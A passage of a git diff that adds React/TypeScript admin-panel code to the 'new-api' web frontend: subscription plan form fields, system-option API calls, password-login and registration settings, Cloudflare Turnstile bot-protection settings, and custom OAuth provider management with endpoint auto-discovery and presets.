+                          ))}
+                        </SelectContent>
+                      </Select>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='max_purchase_per_user'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Purchase Limit')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          {...field}
+                          type='number'
+                          min={0}
+                          onChange={(e) =>
+                            field.onChange(parseInt(e.target.value, 10) || 0)
+                          }
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t('0 means unlimited')}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+
+              <div className='grid grid-cols-2 gap-3'>
+                <FormField
+                  control={form.control}
+                  name='sort_order'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Sort Order')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          {...field}
+                          type='number'
+                          onChange={(e) =>
+                            field.onChange(parseInt(e.target.value, 10) || 0)
+                          }
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='enabled'
+                  render={({ field }) => (
+                    <FormItem className='flex flex-row items-center gap-2 pt-8'>
+                      <FormControl>
+                        <Switch
+                          checked={field.value}
+                          onCheckedChange={field.onChange}
+                        />
+                      </FormControl>
+                      <FormLabel className='!mt-0'>
+                        {t('Enabled Status')}
+                      </FormLabel>
+                    </FormItem>
+                  )}
+                />
+              </div>
+            </div>
+
+            {/* Duration Settings */}
+            <div className='space-y-4'>
+              <h3 className='flex items-center gap-2 text-sm font-medium'>
+                <CalendarClock className='h-4 w-4' />
+                {t('Duration Settings')}
+              </h3>
+
+              <div className='grid grid-cols-2 gap-3'>
+                <FormField
+                  control={form.control}
+                  name='duration_unit'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Duration Unit')}</FormLabel>
+                      <Select
+                        onValueChange={field.onChange}
+                        value={field.value}
+                      >
+                        <FormControl>
+                          <SelectTrigger>
+                            <SelectValue />
+                          </SelectTrigger>
+                        </FormControl>
+                        <SelectContent>
+                          {durationUnitOpts.map((o) => (
+                            <SelectItem key={o.value} value={o.value}>
+                              {o.label}
+                            </SelectItem>
+                          ))}
+                        </SelectContent>
+                      </Select>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                {durationUnit === 'custom' ? (
+                  <FormField
+                    control={form.control}
+                    name='custom_seconds'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Custom Seconds')}</FormLabel>
+                        <FormControl>
+                          <Input
+                            {...field}
+                            type='number'
+                            min={1}
+                            onChange={(e) =>
+                              field.onChange(parseInt(e.target.value, 10) || 0)
+                            }
+                          />
+                        </FormControl>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                ) : (
+                  <FormField
+                    control={form.control}
+                    name='duration_value'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Duration Value')}</FormLabel>
+                        <FormControl>
+                          <Input
+                            {...field}
+                            type='number'
+                            min={1}
+                            onChange={(e) =>
+                              field.onChange(parseInt(e.target.value, 10) || 0)
+                            }
+                          />
+                        </FormControl>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+              </div>
+            </div>
+
+            {/* Quota Reset */}
+            <div className='space-y-4'>
+              <h3 className='flex items-center gap-2 text-sm font-medium'>
+                <RefreshCw className='h-4 w-4' />
+                {t('Quota Reset')}
+              </h3>
+
+              <div className='grid grid-cols-2 gap-3'>
+                <FormField
+                  control={form.control}
+                  name='quota_reset_period'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Reset Cycle')}</FormLabel>
+                      <Select
+                        onValueChange={field.onChange}
+                        value={field.value}
+                      >
+                        <FormControl>
+                          <SelectTrigger>
+                            <SelectValue />
+                          </SelectTrigger>
+                        </FormControl>
+                        <SelectContent>
+                          {resetPeriodOpts.map((o) => (
+                            <SelectItem key={o.value} value={o.value}>
+                              {o.label}
+                            </SelectItem>
+                          ))}
+                        </SelectContent>
+                      </Select>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='quota_reset_custom_seconds'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Custom Seconds')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          {...field}
+                          type='number'
+                          min={0}
+                          disabled={resetPeriod !== 'custom'}
+                          onChange={(e) =>
+                            field.onChange(parseInt(e.target.value, 10) || 0)
+                          }
+                        />
+                      </FormControl>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+              </div>
+            </div>
+
+            {/* Payment Config */}
+            <div className='space-y-4'>
+              <h3 className='flex items-center gap-2 text-sm font-medium'>
+                <CreditCard className='h-4 w-4' />
+                {t('Third-party Payment Config')}
+              </h3>
+
+              <FormField
+                control={form.control}
+                name='stripe_price_id'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>Stripe Price ID</FormLabel>
+                    <FormControl>
+                      <Input {...field} placeholder='price_...' />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='creem_product_id'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>Creem Product ID</FormLabel>
+                    <FormControl>
+                      <Input {...field} placeholder='prod_...' />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+          </form>
+        </Form>
+        <SheetFooter className='gap-2'>
+          <SheetClose asChild>
+            <Button variant='outline'>{t('Close')}</Button>
+          </SheetClose>
+          <Button
+            form='subscription-form'
+            type='submit'
+            disabled={isSubmitting}
+          >
+            {isSubmitting ? t('Saving...') : t('Save changes')}
+          </Button>
+        </SheetFooter>
+      </SheetContent>
+    </Sheet>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/api.ts b/new-api/web/default/src/features/system-settings/api.ts
new file mode 100644
index 0000000..6fcdcc2
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/api.ts
@@ -0,0 +1,49 @@
+import { api } from '@/lib/api'
+import type {
+  DeleteLogsResponse,
+  FetchUpstreamRatiosRequest,
+  SystemOptionsResponse,
+  UpdateOptionRequest,
+  UpdateOptionResponse,
+  UpstreamChannelsResponse,
+  UpstreamRatiosResponse,
+} from './types'
+
+export async function getSystemOptions() {
+  const res = await api.get<SystemOptionsResponse>('/api/option/')
+  return res.data
+}
+
+export async function updateSystemOption(request: UpdateOptionRequest) {
+  const res = await api.put<UpdateOptionResponse>('/api/option/', request)
+  return res.data
+}
+
+export async function deleteLogsBefore(targetTimestamp: number) {
+  const res = await api.delete<DeleteLogsResponse>('/api/log/', {
+    params: { target_timestamp: targetTimestamp },
+  })
+  return res.data
+}
+
+export async function resetModelRatios() {
+  const res = await api.post<UpdateOptionResponse>(
+    '/api/option/rest_model_ratio'
+  )
+  return res.data
+}
+
+export async function getUpstreamChannels() {
+  const res = await api.get<UpstreamChannelsResponse>(
+    '/api/ratio_sync/channels'
+  )
+  return res.data
+}
+
+export async function fetchUpstreamRatios(request: FetchUpstreamRatiosRequest) {
+  const res = await api.post<UpstreamRatiosResponse>(
+    '/api/ratio_sync/fetch',
+    request
+  )
+  return res.data
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/basic-auth-section.tsx b/new-api/web/default/src/features/system-settings/auth/basic-auth-section.tsx
new file mode 100644
index 0000000..fa0f4ce
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/basic-auth-section.tsx
@@ -0,0 +1,259 @@
+import { useMemo } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useResetForm } from '../hooks/use-reset-form'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const basicAuthSchema = z.object({
+  PasswordLoginEnabled: z.boolean(),
+  PasswordRegisterEnabled: z.boolean(),
+  EmailVerificationEnabled: z.boolean(),
+  RegisterEnabled: z.boolean(),
+  EmailDomainRestrictionEnabled: z.boolean(),
+  EmailAliasRestrictionEnabled: z.boolean(),
+  EmailDomainWhitelist: z.string(),
+})
+
+type BasicAuthFormValues = z.infer<typeof basicAuthSchema>
+
+type BasicAuthSectionProps = {
+  defaultValues: BasicAuthFormValues
+}
+
+export function BasicAuthSection({ defaultValues }: BasicAuthSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const formDefaults = useMemo<BasicAuthFormValues>(
+    () => ({
+      ...defaultValues,
+      EmailDomainWhitelist: defaultValues.EmailDomainWhitelist.split(',')
+        .map((domain) => domain.trim())
+        .filter(Boolean)
+        .join('\n'),
+    }),
+    [defaultValues]
+  )
+
+  const form = useForm<BasicAuthFormValues>({
+    resolver: zodResolver(basicAuthSchema),
+    defaultValues: formDefaults,
+  })
+
+  useResetForm(form, formDefaults)
+
+  const onSubmit = async (data: BasicAuthFormValues) => {
+    const updates: Array<{ key: string; value: string | boolean }> = []
+
+    Object.entries(data).forEach(([key, value]) => {
+      if (key === 'EmailDomainWhitelist') {
+        if (typeof value !== 'string') return
+        const domains = value
+          .split('\n')
+          .map((domain) => domain.trim())
+          .filter(Boolean)
+          .join(',')
+        if (domains !== defaultValues.EmailDomainWhitelist) {
+          updates.push({ key, value: domains })
+        }
+      } else if (value !== defaultValues[key as keyof typeof defaultValues]) {
+        updates.push({ key, value })
+      }
+    })
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Basic Authentication')}
+      description={t('Configure password-based login and registration')}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='PasswordLoginEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Password Login')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t('Allow users to log in with password')}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='RegisterEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Registration Enabled')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t('Allow new users to register')}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='PasswordRegisterEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Password Registration')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t('Allow registration with password')}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='EmailVerificationEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Email Verification')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t('Require email verification for new accounts')}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='EmailDomainRestrictionEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Email Domain Restriction')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t('Only allow specific email domains')}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='EmailAliasRestrictionEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Email Alias Restriction')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t('Block email aliases (e.g., user+alias@domain.com)')}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='EmailDomainWhitelist'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Email Domain Whitelist')}</FormLabel>
+                <FormControl>
+                  <Textarea
+                    placeholder={t('example.com&#10;company.com')}
+                    rows={4}
+                    {...field}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'One domain per line (only used when domain restriction is enabled)'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/bot-protection-section.tsx b/new-api/web/default/src/features/system-settings/auth/bot-protection-section.tsx
new file mode 100644
index 0000000..d574342
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/bot-protection-section.tsx
@@ -0,0 +1,141 @@
+import { useEffect } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const botProtectionSchema = z.object({
+  TurnstileCheckEnabled: z.boolean(),
+  TurnstileSiteKey: z.string().optional(),
+  TurnstileSecretKey: z.string().optional(),
+})
+
+type BotProtectionFormValues = z.infer<typeof botProtectionSchema>
+
+type BotProtectionSectionProps = {
+  defaultValues: BotProtectionFormValues
+}
+
+export function BotProtectionSection({
+  defaultValues,
+}: BotProtectionSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const form = useForm<BotProtectionFormValues>({
+    resolver: zodResolver(botProtectionSchema),
+    defaultValues,
+  })
+
+  useEffect(() => {
+    form.reset(defaultValues)
+  }, [defaultValues, form])
+
+  const onSubmit = async (data: BotProtectionFormValues) => {
+    const updates = Object.entries(data).filter(
+      ([key, value]) =>
+        value !== defaultValues[key as keyof BotProtectionFormValues]
+    )
+
+    for (const [key, value] of updates) {
+      await updateOption.mutateAsync({ key, value: value ?? '' })
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Bot Protection')}
+      description={t(
+        'Protect login and registration with Cloudflare Turnstile'
+      )}
+    >
+      <Form {...form}>
+        <form
+          onSubmit={form.handleSubmit(onSubmit)}
+          className='space-y-6'
+          autoComplete='off'
+        >
+          <FormField
+            control={form.control}
+            name='TurnstileCheckEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Enable Turnstile')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t(
+                      'Protect login and registration with Cloudflare Turnstile'
+                    )}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='TurnstileSiteKey'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Site Key')}</FormLabel>
+                <FormControl>
+                  <Input
+                    placeholder={t('Your Turnstile site key')}
+                    autoComplete='off'
+                    {...field}
+                  />
+                </FormControl>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='TurnstileSecretKey'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Secret Key')}</FormLabel>
+                <FormControl>
+                  <Input
+                    type='password'
+                    placeholder={t('Your Turnstile secret key')}
+                    autoComplete='new-password'
+                    {...field}
+                  />
+                </FormControl>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/custom-oauth/api.ts b/new-api/web/default/src/features/system-settings/auth/custom-oauth/api.ts
new file mode 100644
index 0000000..8365421
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/custom-oauth/api.ts
@@ -0,0 +1,61 @@
+import { api } from '@/lib/api'
+import type { CustomOAuthProvider, DiscoveryResponse } from './types'
+
+// ============================================================================
+// Response Types
+// ============================================================================
+
+interface ApiResponse<T = unknown> {
+  success: boolean
+  message?: string
+  data?: T
+}
+
+// ============================================================================
+// Custom OAuth Provider APIs
+// ============================================================================
+
+export async function getCustomOAuthProviders(): Promise<
+  ApiResponse<CustomOAuthProvider[]>
+> {
+  const res = await api.get('/api/custom-oauth-provider/')
+  return res.data
+}
+
+export async function getCustomOAuthProvider(
+  id: number
+): Promise<ApiResponse<CustomOAuthProvider>> {
+  const res = await api.get(`/api/custom-oauth-provider/${id}`)
+  return res.data
+}
+
+export async function createCustomOAuthProvider(
+  data: Omit<CustomOAuthProvider, 'id'>
+): Promise<ApiResponse<CustomOAuthProvider>> {
+  const res = await api.post('/api/custom-oauth-provider/', data)
+  return res.data
+}
+
+export async function updateCustomOAuthProvider(
+  id: number,
+  data: Partial<CustomOAuthProvider>
+): Promise<ApiResponse<CustomOAuthProvider>> {
+  const res = await api.put(`/api/custom-oauth-provider/${id}`, data)
+  return res.data
+}
+
+export async function deleteCustomOAuthProvider(
+  id: number
+): Promise<ApiResponse> {
+  const res = await api.delete(`/api/custom-oauth-provider/${id}`)
+  return res.data
+}
+
+export async function discoverOIDCEndpoints(
+  wellKnownUrl: string
+): Promise<DiscoveryResponse> {
+  const res = await api.post('/api/custom-oauth-provider/discovery', {
+    well_known_url: wellKnownUrl,
+  })
+  return res.data
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/discovery-button.tsx b/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/discovery-button.tsx
new file mode 100644
index 0000000..b262f6c
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/discovery-button.tsx
@@ -0,0 +1,77 @@
+import type { UseFormReturn } from 'react-hook-form'
+import { Search } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import { useDiscoverEndpoints } from '../hooks/use-custom-oauth-mutations'
+import type { CustomOAuthFormValues } from '../types'
+
+type DiscoveryButtonProps = {
+  form: UseFormReturn<CustomOAuthFormValues>
+}
+
+export function DiscoveryButton(props: DiscoveryButtonProps) {
+  const { t } = useTranslation()
+  const discover = useDiscoverEndpoints()
+
+  const handleDiscover = async () => {
+    const wellKnown = props.form.getValues('well_known')
+    if (!wellKnown) {
+      toast.error(t('Please enter a Well-Known URL first'))
+      return
+    }
+
+    if (!wellKnown.startsWith('http://') && !wellKnown.startsWith('https://')) {
+      toast.error(t('Well-Known URL must start with http:// or https://'))
+      return
+    }
+
+    const res = await discover.mutateAsync(wellKnown)
+    if (res.success && res.data?.discovery) {
+      const disc = res.data.discovery
+      if (disc.authorization_endpoint) {
+        props.form.setValue(
+          'authorization_endpoint',
+          disc.authorization_endpoint,
+          { shouldDirty: true }
+        )
+      }
+      if (disc.token_endpoint) {
+        props.form.setValue('token_endpoint', disc.token_endpoint, {
+          shouldDirty: true,
+        })
+      }
+      if (disc.userinfo_endpoint) {
+        props.form.setValue('user_info_endpoint', disc.userinfo_endpoint, {
+          shouldDirty: true,
+        })
+      }
+      if (disc.scopes_supported && disc.scopes_supported.length > 0) {
+        const currentScopes = props.form.getValues('scopes')
+        if (!currentScopes) {
+          const defaultScopes = disc.scopes_supported
+            .filter((s) => ['openid', 'profile', 'email'].includes(s))
+            .join(' ')
+          if (defaultScopes) {
+            props.form.setValue('scopes', defaultScopes, {
+              shouldDirty: true,
+            })
+          }
+        }
+      }
+    }
+  }
+
+  return (
+    <Button
+      type='button'
+      variant='outline'
+      size='sm'
+      onClick={handleDiscover}
+      disabled={discover.isPending}
+    >
+      <Search className='mr-1.5 h-3.5 w-3.5' />
+      {discover.isPending ? t('Discovering...') : t('Auto-discover')}
+    </Button>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/preset-selector.tsx b/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/preset-selector.tsx
new file mode 100644
index 0000000..48b82d5
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/preset-selector.tsx
@@ -0,0 +1,115 @@
+import { useState } from 'react'
+import type { UseFormReturn } from 'react-hook-form'
+import { useTranslation } from 'react-i18next'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { OAUTH_PRESETS, type CustomOAuthFormValues } from '../types'
+
+type PresetSelectorProps = {
+  form: UseFormReturn<CustomOAuthFormValues>
+}
+
+export function PresetSelector(props: PresetSelectorProps) {
+  const { t } = useTranslation()
+  const [selectedPreset, setSelectedPreset] = useState<string>('')
+  const [baseUrl, setBaseUrl] = useState<string>('')
+
+  const handlePresetChange = (presetKey: string) => {
+    setSelectedPreset(presetKey)
+    const preset = OAUTH_PRESETS.find((p) => p.key === presetKey)
+    if (!preset) return
+
+    // Auto-fill name, slug, icon, and field mappings immediately
+    props.form.setValue('name', preset.name, { shouldDirty: true })
+    props.form.setValue('slug', presetKey.toLowerCase().replace(/\s+/g, '-'), {
+      shouldDirty: true,
+    })
+    props.form.setValue('icon', preset.icon, { shouldDirty: true })
+    props.form.setValue('scopes', preset.scopes, { shouldDirty: true })
+    props.form.setValue('user_id_field', preset.user_id_field, {
+      shouldDirty: true,
+    })
+    props.form.setValue('username_field', preset.username_field, {
+      shouldDirty: true,
+    })
+    props.form.setValue('display_name_field', preset.display_name_field, {
+      shouldDirty: true,
+    })
+    props.form.setValue('email_field', preset.email_field, {
+      shouldDirty: true,
+    })
+
+    // Apply base URL if already entered
+    if (baseUrl) {
+      applyEndpoints(preset, baseUrl)
+    }
+  }
+
+  const handleBaseUrlChange = (url: string) => {
+    setBaseUrl(url)
+    if (!selectedPreset) return
+
+    const preset = OAUTH_PRESETS.find((p) => p.key === selectedPreset)
+    if (!preset) return
+
+    applyEndpoints(preset, url)
+  }
+
+  const applyEndpoints = (
+    preset: (typeof OAUTH_PRESETS)[number],
+    url: string
+  ) => {
+    const cleanUrl = url.replace(/\/+$/, '')
+    props.form.setValue(
+      'authorization_endpoint',
+      cleanUrl + preset.authorization_endpoint,
+      { shouldDirty: true }
+    )
+    props.form.setValue('token_endpoint', cleanUrl + preset.token_endpoint, {
+      shouldDirty: true,
+    })
+    props.form.setValue(
+      'user_info_endpoint',
+      cleanUrl + preset.user_info_endpoint,
+      { shouldDirty: true }
+    )
+  }
+
+  return (
+    <div className='space-y-3 rounded-lg border border-dashed p-4'>
+      <p className='text-sm font-medium'>{t('Quick Setup from Preset')}</p>
+      <div className='grid grid-cols-1 gap-3 sm:grid-cols-2'>
+        <div className='space-y-1.5'>
+          <Label>{t('Preset Template')}</Label>
+          <Select value={selectedPreset} onValueChange={handlePresetChange}>
+            <SelectTrigger className='w-full'>
+              <SelectValue placeholder={t('Select a preset...')} />
+            </SelectTrigger>
+            <SelectContent>
+              {OAUTH_PRESETS.map((preset) => (
+                <SelectItem key={preset.key} value={preset.key}>
+                  {preset.name}
+                </SelectItem>
+              ))}
+            </SelectContent>
+          </Select>
+        </div>
+        <div className='space-y-1.5'>
+          <Label>{t('Base URL')}</Label>
+          <Input
+            placeholder={t('https://your-server.example.com')}
+            value={baseUrl}
+            onChange={(e) => handleBaseUrlChange(e.target.value)}
+          />
+        </div>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/provider-form-dialog.tsx b/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/provider-form-dialog.tsx
new file mode 100644
index 0000000..9d09389
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/auth/custom-oauth/components/provider-form-dialog.tsx
@@ -0,0 +1,583 @@
+import { useEffect } from 'react'
+import { type Resolver, useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  DialogDescription,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Separator } from '@/components/ui/separator'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import {
+  useCreateProvider,
+  useUpdateProvider,
+} from '../hooks/use-custom-oauth-mutations'
+import {
+  customOAuthFormSchema,
+  AUTH_STYLE_OPTIONS,
+  type CustomOAuthProvider,
+  type CustomOAuthFormValues,
+} from '../types'
+import { DiscoveryButton } from './discovery-button'
+import { PresetSelector } from './preset-selector'
+
+type ProviderFormDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  provider?: CustomOAuthProvider | null
+}
+
+export function ProviderFormDialog(props: ProviderFormDialogProps) {
+  const { t } = useTranslation()
+  const isEditing = !!props.provider
+  const createProvider = useCreateProvider()
+  const updateProvider = useUpdateProvider()
+
+  const form = useForm<CustomOAuthFormValues>({
+    resolver: zodResolver(
+      customOAuthFormSchema
+    ) as unknown as Resolver<CustomOAuthFormValues>,
+    defaultValues: {
+      name: '',
+      slug: '',
+      icon: '',
+      enabled: true,
+      client_id: '',
+      client_secret: '',
+      authorization_endpoint: '',
+      token_endpoint: '',
+      user_info_endpoint: '',
+      scopes: '',
+      user_id_field: '',
+      username_field: '',
+      display_name_field: '',
+      email_field: '',
+      well_known: '',
+      auth_style: 0,
+      access_policy: '',
+      access_denied_message: '',
+    },
+  })
+
+  useEffect(() => {
+    if (props.open && props.provider) {
+      form.reset({
+        name: props.provider.name,
+        slug: props.provider.slug,
+        icon: props.provider.icon || '',
+        enabled: props.provider.enabled,
+        client_id: props.provider.client_id,
+        client_secret: props.provider.client_secret || '',
+        authorization_endpoint: props.provider.authorization_endpoint,
+        token_endpoint: props.provider.token_endpoint,
+        user_info_endpoint: props.provider.user_info_endpoint,
+        scopes: props.provider.scopes || '',
+        user_id_field: props.provider.user_id_field,
+        username_field: props.provider.username_field || '',
+        display_name_field: props.provider.display_name_field || '',
+        email_field: props.provider.email_field || '',
+        well_known: props.provider.well_known || '',
+        auth_style: props.provider.auth_style ?? 0,
+        access_policy: props.provider.access_policy || '',
+        access_denied_message: props.provider.access_denied_message || '',
+      })
+    } else if (props.open && !props.provider) {
+      form.reset({
+        name: '',
+        slug: '',
+        icon: '',
+        enabled: true,
+        client_id: '',
+        client_secret: '',
+        authorization_endpoint: '',
+        token_endpoint: '',
+        user_info_endpoint: '',
+        scopes: '',
+        user_id_field: '',
+        username_field: '',
+        display_name_field: '',
+        email_field: '',
+        well_known: '',
+        auth_style: 0,
+        access_policy: '',
+        access_denied_message: '',
+      })
+    }
+  }, [props.open, props.provider, form])
+
+  const onSubmit = async (values: CustomOAuthFormValues) => {
+    if (isEditing && props.provider) {
+      const res = await updateProvider.mutateAsync({
+        id: props.provider.id,
+        data: values,
+      })
+      if (res.success) {
+        props.onOpenChange(false)
+      }
+    } else {
+      const res = await createProvider.mutateAsync(
+        values as Omit<CustomOAuthProvider, 'id'>
+      )
+      if (res.success) {
+        props.onOpenChange(false)
+      }
+    }
+  }
+
+  const isPending = createProvider.isPending || updateProvider.isPending
+
+  return (
+    <Dialog open={props.open} onOpenChange={props.onOpenChange}>
+      <DialogContent className='max-h-[85vh] overflow-y-auto sm:max-w-2xl'>
+        <DialogHeader>
+          <DialogTitle>
+            {isEditing ? t('Edit OAuth Provider') : t('Add OAuth Provider')}
+          </DialogTitle>
+          <DialogDescription>
+            {isEditing
+              ? t('Update the configuration for this custom OAuth provider.')
+              : t(
